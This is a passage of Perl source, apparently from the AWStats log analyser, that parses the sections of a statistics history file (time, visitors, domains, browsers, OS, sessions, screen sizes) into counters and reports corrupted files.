3978				my $monthbytes          = 0;
3979				my $monthnotviewedpages = 0;
3980				my $monthnotviewedhits  = 0;
3981				my $monthnotviewedbytes = 0;
3982				if ($Debug) { debug(" Begin of TIME section"); }
3983				$field[0] = '';
3984				my $count       = 0;
3985				my $countloaded = 0;
3986				do {
3987
3988					if ( $field[0] ne '' )
3989					{    # Test on ne '' because field[0] is '0' for hour 0)
3990						$count++;
3991						if ( $SectionsToLoad{'time'} ) {
3992							if (   $withupdate
3993								|| $MonthRequired eq 'all'
3994								|| $MonthRequired eq "$month" )
3995							{    # Still required
3996								$countloaded++;
3997								if ( $field[1] ) {
3998									$_time_p[ $field[0] ] += int( $field[1] );
3999								}
4000								if ( $field[2] ) {
4001									$_time_h[ $field[0] ] += int( $field[2] );
4002								}
4003								if ( $field[3] ) {
4004									$_time_k[ $field[0] ] += int( $field[3] );
4005								}
4006								if ( $field[4] ) {
4007									$_time_nv_p[ $field[0] ] +=
4008									  int( $field[4] );
4009								}
4010								if ( $field[5] ) {
4011									$_time_nv_h[ $field[0] ] +=
4012									  int( $field[5] );
4013								}
4014								if ( $field[6] ) {
4015									$_time_nv_k[ $field[0] ] +=
4016									  int( $field[6] );
4017								}
4018							}
4019							$monthpages          += int( $field[1] );
4020							$monthhits           += int( $field[2] );
4021							$monthbytes          += int( $field[3] );
4022							$monthnotviewedpages += int( $field[4] || 0 );
4023							$monthnotviewedhits  += int( $field[5] || 0 );
4024							$monthnotviewedbytes += int( $field[6] || 0 );
4025						}
4026					}
4027					$_ = <HISTORY>;
4028					chomp $_;
4029					s/\r//;
4030					@field =
4031					  split( /\s+/,
4032						( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4033					$countlines++;
4034				  } until ( $field[0] eq 'END_TIME'
4035					  || $field[0] eq "${xmleb}END_TIME"
4036					  || !$_ );
4037				if (   $field[0] ne 'END_TIME'
4038					&& $field[0] ne "${xmleb}END_TIME" )
4039				{
4040					error(
4041"History file \"$filetoread\" is corrupted (End of section TIME not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4042						"", "", 1
4043					);
4044				}
4045				if ($Debug) {
4046					debug(
4047" End of TIME section ($count entries, $countloaded loaded)"
4048					);
4049				}
4050				$MonthPages{ $year . $month }          += $monthpages;
4051				$MonthHits{ $year . $month }           += $monthhits;
4052				$MonthBytes{ $year . $month }          += $monthbytes;
4053				$MonthNotViewedPages{ $year . $month } += $monthnotviewedpages;
4054				$MonthNotViewedHits{ $year . $month }  += $monthnotviewedhits;
4055				$MonthNotViewedBytes{ $year . $month } += $monthnotviewedbytes;
4056				delete $SectionsToLoad{'time'};
4057
4058				if ( $SectionsToSave{'time'} ) {
4059					Save_History( 'time', $year, $month, $date );
4060					delete $SectionsToSave{'time'};
4061					if ($withpurge) {
4062						@_time_p    = ();
4063						@_time_h    = ();
4064						@_time_k    = ();
4065						@_time_nv_p = ();
4066						@_time_nv_h = ();
4067						@_time_nv_k = ();
4068					}
4069				}
4070				if ( !scalar %SectionsToLoad ) {
4071					debug(" Stop reading history file. Got all we need.");
4072					last;
4073				}
4074				next;
4075			}
4076
4077			# BEGIN_ORIGIN
4078			if ( $field[0] eq 'BEGIN_ORIGIN' ) {
4079				if ($Debug) { debug(" Begin of ORIGIN section"); }
4080				$field[0] = '';
4081				my $count       = 0;
4082				my $countloaded = 0;
4083				do {
4084					if ( $field[0] ) {
4085						$count++;
4086						if ( $SectionsToLoad{'origin'} ) {
4087							if ( $field[0] eq 'From0' ) {
4088								$_from_p[0] += $field[1];
4089								$_from_h[0] += $field[2];
4090							}
4091							elsif ( $field[0] eq 'From1' ) {
4092								$_from_p[1] += $field[1];
4093								$_from_h[1] += $field[2];
4094							}
4095							elsif ( $field[0] eq 'From2' ) {
4096								$_from_p[2] += $field[1];
4097								$_from_h[2] += $field[2];
4098							}
4099							elsif ( $field[0] eq 'From3' ) {
4100								$_from_p[3] += $field[1];
4101								$_from_h[3] += $field[2];
4102							}
4103							elsif ( $field[0] eq 'From4' ) {
4104								$_from_p[4] += $field[1];
4105								$_from_h[4] += $field[2];
4106							}
4107							elsif ( $field[0] eq 'From5' ) {
4108								$_from_p[5] += $field[1];
4109								$_from_h[5] += $field[2];
4110							}
4111						}
4112					}
4113					$_ = <HISTORY>;
4114					chomp $_;
4115					s/\r//;
4116					@field =
4117					  split( /\s+/,
4118						( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4119					$countlines++;
4120				  } until ( $field[0] eq 'END_ORIGIN'
4121					  || $field[0] eq "${xmleb}END_ORIGIN"
4122					  || !$_ );
4123				if (   $field[0] ne 'END_ORIGIN'
4124					&& $field[0] ne "${xmleb}END_ORIGIN" )
4125				{
4126					error(
4127"History file \"$filetoread\" is corrupted (End of section ORIGIN not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4128						"", "", 1
4129					);
4130				}
4131				if ($Debug) {
4132					debug(
4133" End of ORIGIN section ($count entries, $countloaded loaded)"
4134					);
4135				}
4136				delete $SectionsToLoad{'origin'};
4137				if ( $SectionsToSave{'origin'} ) {
4138					Save_History( 'origin', $year, $month, $date );
4139					delete $SectionsToSave{'origin'};
4140					if ($withpurge) { @_from_p = (); @_from_h = (); }
4141				}
4142				if ( !scalar %SectionsToLoad ) {
4143					debug(" Stop reading history file. Got all we need.");
4144					last;
4145				}
4146				next;
4147			}
4148
4149			# BEGIN_DAY
4150			if ( $field[0] eq 'BEGIN_DAY' ) {
4151				if ($Debug) { debug(" Begin of DAY section"); }
4152				$field[0] = '';
4153				my $count       = 0;
4154				my $countloaded = 0;
4155				do {
4156					if ( $field[0] ) {
4157						$count++;
4158						if ( $SectionsToLoad{'day'} ) {
4159							$countloaded++;
4160							if ( $field[1] ) {
4161								$DayPages{ $field[0] } += int( $field[1] );
4162							}
4163							$DayHits{ $field[0] } +=
4164							  int( $field[2] )
4165							  ; # DayHits always load (should be >0 and if not it's a day YYYYMM00 resulting of an old file migration)
4166							if ( $field[3] ) {
4167								$DayBytes{ $field[0] } += int( $field[3] );
4168							}
4169							if ( $field[4] ) {
4170								$DayVisits{ $field[0] } += int( $field[4] );
4171							}
4172						}
4173					}
4174					$_ = <HISTORY>;
4175					chomp $_;
4176					s/\r//;
4177					@field =
4178					  split( /\s+/,
4179						( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4180					$countlines++;
4181				  } until ( $field[0] eq 'END_DAY'
4182					  || $field[0] eq "${xmleb}END_DAY"
4183					  || !$_ );
4184				if ( $field[0] ne 'END_DAY' && $field[0] ne "${xmleb}END_DAY" )
4185				{
4186					error(
4187"History file \"$filetoread\" is corrupted (End of section DAY not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4188						"", "", 1
4189					);
4190				}
4191				if ($Debug) {
4192					debug(
4193" End of DAY section ($count entries, $countloaded loaded)"
4194					);
4195				}
4196				delete $SectionsToLoad{'day'};
4197
4198# WE DO NOT SAVE SECTION NOW BECAUSE VALUES CAN BE CHANGED AFTER READING VISITOR
4199#if ($SectionsToSave{'day'}) {	# Must be made after read of visitor
4200#	Save_History('day',$year,$month,$date); delete $SectionsToSave{'day'};
4201#	if ($withpurge) { %DayPages=(); %DayHits=(); %DayBytes=(); %DayVisits=(); }
4202#}
4203				if ( !scalar %SectionsToLoad ) {
4204					debug(" Stop reading history file. Got all we need.");
4205					last;
4206				}
4207				next;
4208			}
4209
4210			# BEGIN_VISITOR
4211			if ( $field[0] eq 'BEGIN_VISITOR' ) {
4212				if ($Debug) { debug(" Begin of VISITOR section"); }
4213				$field[0] = '';
4214				my $count       = 0;
4215				my $countloaded = 0;
4216				do {
4217					if ( $field[0] ) {
4218						$count++;
4219
4220						# For backward compatibility
4221						if ($readvisitorforbackward) {
4222							if ( $field[1] ) {
4223								$MonthUnique{ $year . $month }++;
4224							}
4225							if ( $MonthRequired ne 'all' ) {
4226								if (   $field[0] !~ /^\d+\.\d+\.\d+\.\d+$/
4227									&& $field[0] !~ /^[0-9A-F]*:/i )
4228								{
4229									$MonthHostsKnown{ $year . $month }++;
4230								}
4231								else { $MonthHostsUnknown{ $year . $month }++; }
4232							}
4233						}
4234
4235						# Process data saved in 'wait' arrays
4236						if ( $withupdate && $_waithost_e{ $field[0] } ) {
4237							my $timehostl = int( $field[4] || 0 );
4238							my $timehosts = int( $field[5] || 0 );
4239							my $newtimehosts = (
4240								  $_waithost_s{ $field[0] }
4241								? $_waithost_s{ $field[0] }
4242								: $_host_s{ $field[0] }
4243							);
4244							my $newtimehostl = (
4245								  $_waithost_l{ $field[0] }
4246								? $_waithost_l{ $field[0] }
4247								: $_host_l{ $field[0] }
4248							);
4249							if ( $newtimehosts > $timehostl + $VISITTIMEOUT ) {
4250								if ($Debug) {
4251									debug(
4252" Visit for $field[0] in 'wait' arrays is a new visit different than last in history",
4253										4
4254									);
4255								}
4256								if ( $field[6] ) { $_url_x{ $field[6] }++; }
4257								$_url_e{ $_waithost_e{ $field[0] } }++;
4258								$newtimehosts =~ /^(\d\d\d\d\d\d\d\d)/;
4259								$DayVisits{$1}++;
4260								if ( $timehosts && $timehostl ) {
4261									$_session{
4262										GetSessionRange( $timehosts,
4263											$timehostl )
4264									  }++;
4265								}
4266								if ( $_waithost_s{ $field[0] } ) {
4267
4268	   # First session found in log was followed by another one so it's finished
4269									$_session{
4270										GetSessionRange( $newtimehosts,
4271											$newtimehostl )
4272									  }++;
4273								}
4274
4275					 # Here $_host_l $_host_s and $_host_u are correctly defined
4276							}
4277							else {
4278								if ($Debug) {
4279									debug(
4280" Visit for $field[0] in 'wait' arrays is following of last visit in history",
4281										4
4282									);
4283								}
4284								if ( $_waithost_s{ $field[0] } ) {
4285
4286	   # First session found in log was followed by another one so it's finished
4287									$_session{
4288										GetSessionRange(
4289											MinimumButNoZero(
4290												$timehosts, $newtimehosts
4291											),
4292											$timehostl > $newtimehostl
4293											? $timehostl
4294											: $newtimehostl
4295										)
4296									  }++;
4297
4298					 # Here $_host_l $_host_s and $_host_u are correctly defined
4299								}
4300								else {
4301
4302									# We correct $_host_l $_host_s and $_host_u
4303									if ( $timehostl > $newtimehostl ) {
4304										$_host_l{ $field[0] } = $timehostl;
4305										$_host_u{ $field[0] } = $field[6];
4306									}
4307									if ( $timehosts < $newtimehosts ) {
4308										$_host_s{ $field[0] } = $timehosts;
4309									}
4310								}
4311							}
4312							delete $_waithost_e{ $field[0] };
4313							delete $_waithost_l{ $field[0] };
4314							delete $_waithost_s{ $field[0] };
4315							delete $_waithost_u{ $field[0] };
4316						}
4317
4318						# Load records
4319						if (   $readvisitorforbackward != 2
4320							&& $SectionsToLoad{'visitor'} )
4321						{    # if readvisitorforbackward==2 we do not load
4322							my $loadrecord = 0;
4323							if ($withupdate) {
4324								$loadrecord = 1;
4325							}
4326							else {
4327								if (   $HTMLOutput{'allhosts'}
4328									|| $HTMLOutput{'lasthosts'} )
4329								{
4330									if (
4331										(
4332											!$FilterIn{'host'}
4333											|| $field[0] =~ /$FilterIn{'host'}/i
4334										)
4335										&& ( !$FilterEx{'host'}
4336											|| $field[0] !~
4337											/$FilterEx{'host'}/i )
4338									  )
4339									{
4340										$loadrecord = 1;
4341									}
4342								}
4343								elsif ($MonthRequired eq 'all'
4344									|| $field[2] >= $MinHit{'Host'} )
4345								{
4346									if (
4347										$HTMLOutput{'unknownip'}
4348										&& ( $field[0] =~ /^\d+\.\d+\.\d+\.\d+$/
4349											|| $field[0] =~ /^[0-9A-F]*:/i )
4350									  )
4351									{
4352										$loadrecord = 1;
4353									}
4354									elsif (
4355										$HTMLOutput{'main'}
4356										&& (   $MonthRequired eq 'all'
4357											|| $countloaded <
4358											$MaxNbOf{'HostsShown'} )
4359									  )
4360									{
4361										$loadrecord = 1;
4362									}
4363								}
4364							}
4365							if ($loadrecord) {
4366								if ( $field[1] ) {
4367									$_host_p{ $field[0] } += $field[1];
4368								}
4369								if ( $field[2] ) {
4370									$_host_h{ $field[0] } += $field[2];
4371								}
4372								if ( $field[3] ) {
4373									$_host_k{ $field[0] } += $field[3];
4374								}
4375								if ( $field[4] && !$_host_l{ $field[0] } )
4376								{ # We save last connexion params if not previously defined
4377									$_host_l{ $field[0] } = int( $field[4] );
4378									if ($withupdate)
4379									{ # field[5] field[6] are used only for update
4380										if ( $field[5]
4381											&& !$_host_s{ $field[0] } )
4382										{
4383											$_host_s{ $field[0] } =
4384											  int( $field[5] );
4385										}
4386										if ( $field[6]
4387											&& !$_host_u{ $field[0] } )
4388										{
4389											$_host_u{ $field[0] } = $field[6];
4390										}
4391									}
4392								}
4393								$countloaded++;
4394							}
4395						}
4396					}
4397					$_ = <HISTORY>;
4398					chomp $_;
4399					s/\r//;
4400					@field =
4401					  split( /\s+/,
4402						( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4403					$countlines++;
4404				  } until ( $field[0] eq 'END_VISITOR'
4405					  || $field[0] eq "${xmleb}END_VISITOR"
4406					  || !$_ );
4407				if (   $field[0] ne 'END_VISITOR'
4408					&& $field[0] ne "${xmleb}END_VISITOR" )
4409				{
4410					error(
4411"History file \"$filetoread\" is corrupted (End of section VISITOR not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4412						"", "", 1
4413					);
4414				}
4415				if ($Debug) {
4416					debug(
4417" End of VISITOR section ($count entries, $countloaded loaded)"
4418					);
4419				}
4420				delete $SectionsToLoad{'visitor'};
4421
4422# WE DO NOT SAVE SECTION NOW TO BE SURE TO HAVE THIS LARGE SECTION NOT AT THE BEGINNING OF FILE
4423#if ($SectionsToSave{'visitor'}) {
4424#	Save_History('visitor',$year,$month,$date); delete $SectionsToSave{'visitor'};
4425#	if ($withpurge) { %_host_p=(); %_host_h=(); %_host_k=(); %_host_l=(); %_host_s=(); %_host_u=(); }
4426#}
4427				if ( !scalar %SectionsToLoad ) {
4428					debug(" Stop reading history file. Got all we need.");
4429					last;
4430				}
4431				next;
4432			}
4433
4434			# BEGIN_UNKNOWNIP for backward compatibility
4435			if ( $field[0] eq 'BEGIN_UNKNOWNIP' ) {
4436				my %iptomigrate = ();
4437				if ($Debug) { debug(" Begin of UNKNOWNIP section"); }
4438				$field[0] = '';
4439				my $count       = 0;
4440				my $countloaded = 0;
4441				do {
4442					if ( $field[0] ) {
4443						$count++;
4444						if ( $SectionsToLoad{'unknownip'} ) {
4445							$iptomigrate{ $field[0] } = $field[1] || 0;
4446							$countloaded++;
4447						}
4448					}
4449					$_ = <HISTORY>;
4450					chomp $_;
4451					s/\r//;
4452					@field =
4453					  split( /\s+/,
4454						( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4455					$countlines++;
4456				  } until ( $field[0] eq 'END_UNKNOWNIP'
4457					  || $field[0] eq "${xmleb}END_UNKNOWNIP"
4458					  || !$_ );
4459				if (   $field[0] ne 'END_UNKNOWNIP'
4460					&& $field[0] ne "${xmleb}END_UNKNOWNIP" )
4461				{
4462					error(
4463"History file \"$filetoread\" is corrupted (End of section UNKOWNIP not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4464						"", "", 1
4465					);
4466				}
4467				if ($Debug) {
4468					debug(
4469" End of UNKOWNIP section ($count entries, $countloaded loaded)"
4470					);
4471				}
4472				delete $SectionsToLoad{'visitor'};
4473
4474# THIS SECTION IS NEVER SAVED. ONLY READ FOR MIGRATE AND CONVERTED INTO VISITOR SECTION
4475				foreach ( keys %iptomigrate ) {
4476					$_host_p{$_} += int( $_host_p{'Unknown'} / $countloaded );
4477					$_host_h{$_} += int( $_host_h{'Unknown'} / $countloaded );
4478					$_host_k{$_} += int( $_host_k{'Unknown'} / $countloaded );
4479					if ( $iptomigrate{$_} > 0 ) {
4480						$_host_l{$_} = $iptomigrate{$_};
4481					}
4482				}
4483				delete $_host_p{'Unknown'};
4484				delete $_host_h{'Unknown'};
4485				delete $_host_k{'Unknown'};
4486				delete $_host_l{'Unknown'};
4487				if ( !scalar %SectionsToLoad ) {
4488					debug(" Stop reading history file. Got all we need.");
4489					last;
4490				}
4491				next;
4492			}
4493
4494			# BEGIN_LOGIN
4495			if ( $field[0] eq 'BEGIN_LOGIN' ) {
4496				if ($Debug) { debug(" Begin of LOGIN section"); }
4497				$field[0] = '';
4498				my $count       = 0;
4499				my $countloaded = 0;
4500				do {
4501					if ( $field[0] ) {
4502						$count++;
4503						if ( $SectionsToLoad{'login'} ) {
4504							$countloaded++;
4505							if ( $field[1] ) {
4506								$_login_p{ $field[0] } += $field[1];
4507							}
4508							if ( $field[2] ) {
4509								$_login_h{ $field[0] } += $field[2];
4510							}
4511							if ( $field[3] ) {
4512								$_login_k{ $field[0] } += $field[3];
4513							}
4514							if ( !$_login_l{ $field[0] } && $field[4] ) {
4515								$_login_l{ $field[0] } = int( $field[4] );
4516							}
4517						}
4518					}
4519					$_ = <HISTORY>;
4520					chomp $_;
4521					s/\r//;
4522					@field =
4523					  split( /\s+/,
4524						( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4525					$countlines++;
4526				  } until ( $field[0] eq 'END_LOGIN'
4527					  || $field[0] eq "${xmleb}END_LOGIN"
4528					  || !$_ );
4529				if (   $field[0] ne 'END_LOGIN'
4530					&& $field[0] ne "${xmleb}END_LOGIN" )
4531				{
4532					error(
4533"History file \"$filetoread\" is corrupted (End of section LOGIN not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4534						"", "", 1
4535					);
4536				}
4537				if ($Debug) {
4538					debug(
4539" End of LOGIN section ($count entries, $countloaded loaded)"
4540					);
4541				}
4542				delete $SectionsToLoad{'login'};
4543				if ( $SectionsToSave{'login'} ) {
4544					Save_History( 'login', $year, $month, $date );
4545					delete $SectionsToSave{'login'};
4546					if ($withpurge) {
4547						%_login_p = ();
4548						%_login_h = ();
4549						%_login_k = ();
4550						%_login_l = ();
4551					}
4552				}
4553				if ( !scalar %SectionsToLoad ) {
4554					debug(" Stop reading history file. Got all we need.");
4555					last;
4556				}
4557				next;
4558			}
4559
4560			# BEGIN_DOMAIN
4561			if ( $field[0] eq 'BEGIN_DOMAIN' ) {
4562				if ($Debug) { debug(" Begin of DOMAIN section"); }
4563				$field[0] = '';
4564				my $count       = 0;
4565				my $countloaded = 0;
4566				do {
4567					if ( $field[0] ) {
4568						$count++;
4569						if ( $SectionsToLoad{'domain'} ) {
4570							$countloaded++;
4571							if ( $field[1] ) {
4572								$_domener_p{ $field[0] } += $field[1];
4573							}
4574							if ( $field[2] ) {
4575								$_domener_h{ $field[0] } += $field[2];
4576							}
4577							if ( $field[3] ) {
4578								$_domener_k{ $field[0] } += $field[3];
4579							}
4580						}
4581					}
4582					$_ = <HISTORY>;
4583					chomp $_;
4584					s/\r//;
4585					@field =
4586					  split( /\s+/,
4587						( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4588					$countlines++;
4589				  } until ( $field[0] eq 'END_DOMAIN'
4590					  || $field[0] eq "${xmleb}END_DOMAIN"
4591					  || !$_ );
4592				if (   $field[0] ne 'END_DOMAIN'
4593					&& $field[0] ne "${xmleb}END_DOMAIN" )
4594				{
4595					error(
4596"History file \"$filetoread\" is corrupted (End of section DOMAIN not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4597						"", "", 1
4598					);
4599				}
4600				if ($Debug) {
4601					debug(
4602" End of DOMAIN section ($count entries, $countloaded loaded)"
4603					);
4604				}
4605				delete $SectionsToLoad{'domain'};
4606				if ( $SectionsToSave{'domain'} ) {
4607					Save_History( 'domain', $year, $month, $date );
4608					delete $SectionsToSave{'domain'};
4609					if ($withpurge) {
4610						%_domener_p = ();
4611						%_domener_h = ();
4612						%_domener_k = ();
4613					}
4614				}
4615				if ( !scalar %SectionsToLoad ) {
4616					debug(" Stop reading history file. Got all we need.");
4617					last;
4618				}
4619				next;
4620			}
4621
4622			# BEGIN_SESSION
4623			if ( $field[0] eq 'BEGIN_SESSION' ) {
4624				if ($Debug) { debug(" Begin of SESSION section"); }
4625				$field[0] = '';
4626				my $count       = 0;
4627				my $countloaded = 0;
4628				do {
4629					if ( $field[0] ) {
4630						$count++;
4631						if ( $SectionsToLoad{'session'} ) {
4632							$countloaded++;
4633							if ( $field[1] ) {
4634								$_session{ $field[0] } += $field[1];
4635							}
4636						}
4637					}
4638					$_ = <HISTORY>;
4639					chomp $_;
4640					s/\r//;
4641					@field =
4642					  split( /\s+/,
4643						( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4644					$countlines++;
4645				  } until ( $field[0] eq 'END_SESSION'
4646					  || $field[0] eq "${xmleb}END_SESSION"
4647					  || !$_ );
4648				if (   $field[0] ne 'END_SESSION'
4649					&& $field[0] ne "${xmleb}END_SESSION" )
4650				{
4651					error(
4652"History file \"$filetoread\" is corrupted (End of section SESSION not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4653						"", "", 1
4654					);
4655				}
4656				if ($Debug) {
4657					debug(
4658" End of SESSION section ($count entries, $countloaded loaded)"
4659					);
4660				}
4661				delete $SectionsToLoad{'session'};
4662
4663# WE DO NOT SAVE SECTION NOW BECAUSE VALUES CAN BE CHANGED AFTER READING VISITOR
4664#if ($SectionsToSave{'session'}) {
4665#	Save_History('session',$year,$month,$date); delete $SectionsToSave{'session'}; }
4666#	if ($withpurge) { %_session=(); }
4667#}
4668				if ( !scalar %SectionsToLoad ) {
4669					debug(" Stop reading history file. Got all we need.");
4670					last;
4671				}
4672				next;
4673			}
4674
4675			# BEGIN_OS
4676			if ( $field[0] eq 'BEGIN_OS' ) {
4677				if ($Debug) { debug(" Begin of OS section"); }
4678				$field[0] = '';
4679				my $count       = 0;
4680				my $countloaded = 0;
4681				do {
4682					if ( $field[0] ) {
4683						$count++;
4684						if ( $SectionsToLoad{'os'} ) {
4685							$countloaded++;
4686							if ( $field[1] ) {
4687								$_os_h{ $field[0] } += $field[1];
4688								$_os_p{ $field[0] } += $field[2];
4689							}
4690						}
4691					}
4692					$_ = <HISTORY>;
4693					chomp $_;
4694					s/\r//;
4695					@field =
4696					  split( /\s+/,
4697						( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4698					$countlines++;
4699				  } until ( $field[0] eq 'END_OS'
4700					  || $field[0] eq "${xmleb}END_OS"
4701					  || !$_ );
4702				if ( $field[0] ne 'END_OS' && $field[0] ne "${xmleb}END_OS" ) {
4703					error(
4704"History file \"$filetoread\" is corrupted (End of section OS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4705						"", "", 1
4706					);
4707				}
4708				if ($Debug) {
4709					debug(
4710" End of OS section ($count entries, $countloaded loaded)"
4711					);
4712				}
4713				delete $SectionsToLoad{'os'};
4714				if ( $SectionsToSave{'os'} ) {
4715					Save_History( 'os', $year, $month, $date );
4716					delete $SectionsToSave{'os'};
4717					if ($withpurge) { %_os_h = (); %_os_p = (); }
4718				}
4719				if ( !scalar %SectionsToLoad ) {
4720					debug(" Stop reading history file. Got all we need.");
4721					last;
4722				}
4723				next;
4724			}
4725
4726			# BEGIN_BROWSER
4727			if ( $field[0] eq 'BEGIN_BROWSER' ) {
4728				if ($Debug) { debug(" Begin of BROWSER section"); }
4729				$field[0] = '';
4730				my $count       = 0;
4731				my $countloaded = 0;
4732				do {
4733					if ( $field[0] ) {
4734						$count++;
4735						if ( $SectionsToLoad{'browser'} ) {
4736							$countloaded++;
4737							if ( $field[1] ) {
4738								$_browser_h{ $field[0] } += $field[1];
4739								$_browser_p{ $field[0] } += $field[2];
4740							}
4741						}
4742					}
4743					$_ = <HISTORY>;
4744					chomp $_;
4745					s/\r//;
4746					@field =
4747					  split( /\s+/,
4748						( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4749					$countlines++;
4750				  } until ( $field[0] eq 'END_BROWSER'
4751					  || $field[0] eq "${xmleb}END_BROWSER"
4752					  || !$_ );
4753				if (   $field[0] ne 'END_BROWSER'
4754					&& $field[0] ne "${xmleb}END_BROWSER" )
4755				{
4756					error(
4757"History file \"$filetoread\" is corrupted (End of section BROWSER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4758						"", "", 1
4759					);
4760				}
4761				if ($Debug) {
4762					debug(
4763" End of BROWSER section ($count entries, $countloaded loaded)"
4764					);
4765				}
4766				delete $SectionsToLoad{'browser'};
4767				if ( $SectionsToSave{'browser'} ) {
4768					Save_History( 'browser', $year, $month, $date );
4769					delete $SectionsToSave{'browser'};
4770					if ($withpurge) { %_browser_h = (); %_browser_p = (); }
4771				}
4772				if ( !scalar %SectionsToLoad ) {
4773					debug(" Stop reading history file. Got all we need.");
4774					last;
4775				}
4776				next;
4777			}
4778
4779			# BEGIN_UNKNOWNREFERER
4780			if ( $field[0] eq 'BEGIN_UNKNOWNREFERER' ) {
4781				if ($Debug) { debug(" Begin of UNKNOWNREFERER section"); }
4782				$field[0] = '';
4783				my $count       = 0;
4784				my $countloaded = 0;
4785				do {
4786					if ( $field[0] ) {
4787						$count++;
4788						if ( $SectionsToLoad{'unknownreferer'} ) {
4789							$countloaded++;
4790							if ( !$_unknownreferer_l{ $field[0] } ) {
4791								$_unknownreferer_l{ $field[0] } =
4792								  int( $field[1] );
4793							}
4794						}
4795					}
4796					$_ = <HISTORY>;
4797					chomp $_;
4798					s/\r//;
4799					@field =
4800					  split( /\s+/,
4801						( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4802					$countlines++;
4803				  } until ( $field[0] eq 'END_UNKNOWNREFERER'
4804					  || $field[0] eq "${xmleb}END_UNKNOWNREFERER"
4805					  || !$_ );
4806				if (   $field[0] ne 'END_UNKNOWNREFERER'
4807					&& $field[0] ne "${xmleb}END_UNKNOWNREFERER" )
4808				{
4809					error(
4810"History file \"$filetoread\" is corrupted (End of section UNKNOWNREFERER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4811						"", "", 1
4812					);
4813				}
4814				if ($Debug) {
4815					debug(
4816" End of UNKNOWNREFERER section ($count entries, $countloaded loaded)"
4817					);
4818				}
4819				delete $SectionsToLoad{'unknownreferer'};
4820				if ( $SectionsToSave{'unknownreferer'} ) {
4821					Save_History( 'unknownreferer', $year, $month, $date );
4822					delete $SectionsToSave{'unknownreferer'};
4823					if ($withpurge) { %_unknownreferer_l = (); }
4824				}
4825				if ( !scalar %SectionsToLoad ) {
4826					debug(" Stop reading history file. Got all we need.");
4827					last;
4828				}
4829				next;
4830			}
4831
4832			# BEGIN_UNKNOWNREFERERBROWSER
4833			if ( $field[0] eq 'BEGIN_UNKNOWNREFERERBROWSER' ) {
4834				if ($Debug) {
4835					debug(" Begin of UNKNOWNREFERERBROWSER section");
4836				}
4837				$field[0] = '';
4838				my $count       = 0;
4839				my $countloaded = 0;
4840				do {
4841					if ( $field[0] ) {
4842						$count++;
4843						if ( $SectionsToLoad{'unknownrefererbrowser'} ) {
4844							$countloaded++;
4845							if ( !$_unknownrefererbrowser_l{ $field[0] } ) {
4846								$_unknownrefererbrowser_l{ $field[0] } =
4847								  int( $field[1] );
4848							}
4849						}
4850					}
4851					$_ = <HISTORY>;
4852					chomp $_;
4853					s/\r//;
4854					@field =
4855					  split( /\s+/,
4856						( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4857					$countlines++;
4858				  } until ( $field[0] eq 'END_UNKNOWNREFERERBROWSER'
4859					  || $field[0] eq "${xmleb}END_UNKNOWNREFERERBROWSER"
4860					  || !$_ );
4861				if (   $field[0] ne 'END_UNKNOWNREFERERBROWSER'
4862					&& $field[0] ne "${xmleb}END_UNKNOWNREFERERBROWSER" )
4863				{
4864					error(
4865"History file \"$filetoread\" is corrupted (End of section UNKNOWNREFERERBROWSER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4866						"", "", 1
4867					);
4868				}
4869				if ($Debug) {
4870					debug(
4871" End of UNKNOWNREFERERBROWSER section ($count entries, $countloaded loaded)"
4872					);
4873				}
4874				delete $SectionsToLoad{'unknownrefererbrowser'};
4875				if ( $SectionsToSave{'unknownrefererbrowser'} ) {
4876					Save_History( 'unknownrefererbrowser',
4877						$year, $month, $date );
4878					delete $SectionsToSave{'unknownrefererbrowser'};
4879					if ($withpurge) { %_unknownrefererbrowser_l = (); }
4880				}
4881				if ( !scalar %SectionsToLoad ) {
4882					debug(" Stop reading history file. Got all we need.");
4883					last;
4884				}
4885				next;
4886			}
4887
4888			# BEGIN_SCREENSIZE
4889			if ( $field[0] eq 'BEGIN_SCREENSIZE' ) {
4890				if ($Debug) { debug(" Begin of SCREENSIZE section"); }
4891				$field[0] = '';
4892				my $count       = 0;
4893				my $countloaded = 0;
4894				do {
4895					if ( $field[0] ) {
4896						$count++;
4897						if ( $SectionsToLoad{'screensize'} ) {
4898							$countloaded++;
4899							if ( $field[1] ) {
4900								$_screensize_h{ $field[0] } += $field[1];
4901							}
4902						}
4903					}
4904					$_ = <HISTORY>;
4905					chomp $_;
4906					s/\r//;
4907					@field =
4908					  split( /\s+/,
4909						( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4910					$countlines++;
